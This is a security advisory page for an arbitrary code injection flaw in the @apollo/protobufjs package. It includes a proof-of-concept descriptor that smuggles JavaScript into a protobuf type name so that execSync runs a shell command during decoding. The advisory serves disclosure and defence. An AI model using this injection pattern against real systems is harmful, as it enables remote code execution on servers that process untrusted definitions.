Arbitrary Code Injection Affecting @apollo/protobufjs package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.06% (19th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-APOLLOPROTOBUFJS-16321047
  • published29 Apr 2026
  • disclosed16 Apr 2026
  • creditCristian-Alexandru Staicu

Introduced: 16 Apr 2026

NewCVE-2026-41242  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for @apollo/protobufjs.

Overview

@apollo/protobufjs is a language-neutral, platform-neutral, extensible way of serializing structured data for use in communications protocols, data storage, and more, originally designed at Google

Affected versions of this package are vulnerable to Arbitrary Code Injection through the handling of user-supplied protobuf definitions, specifically via the Type's name field. An attacker can execute arbitrary JavaScript code by injecting malicious payloads into the protobuf definition, which are then executed during object decoding.

Notes:

  • The vulnerability was introduced during the migration to codegen 2 where sanitization of the type name was modified.
  • Additional security measures were introduced in @protobufjs/codegen@2.0.5, which could hinder exploitation on vulnerable versions.

PoC

const protobuf = require('protobufjs');
maliciousDescriptor = JSON.parse(`{"nested":{"User":{"fields":{"id":{"type":"int32","id":1},"data":{"type":"Data(){console['log'](process['mainModule']['require']('child_process')['execSync']('id')['toString']())};\\nfunction X","id":2}}},"Data(){console['log'](process['mainModule']['require']('child_process')['execSync']('id')['toString']())};\\nfunction X":{"fields":{"content":{"type":"string","id":1}}}}}`)
const root = protobuf.Root.fromJSON(maliciousDescriptor);
const UserType = root.lookupType("User");
const userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]);
try {
    const user = UserType.decode(userBytes);
} catch (e) {}```

CVSS Base Scores

version 4.0
version 3.1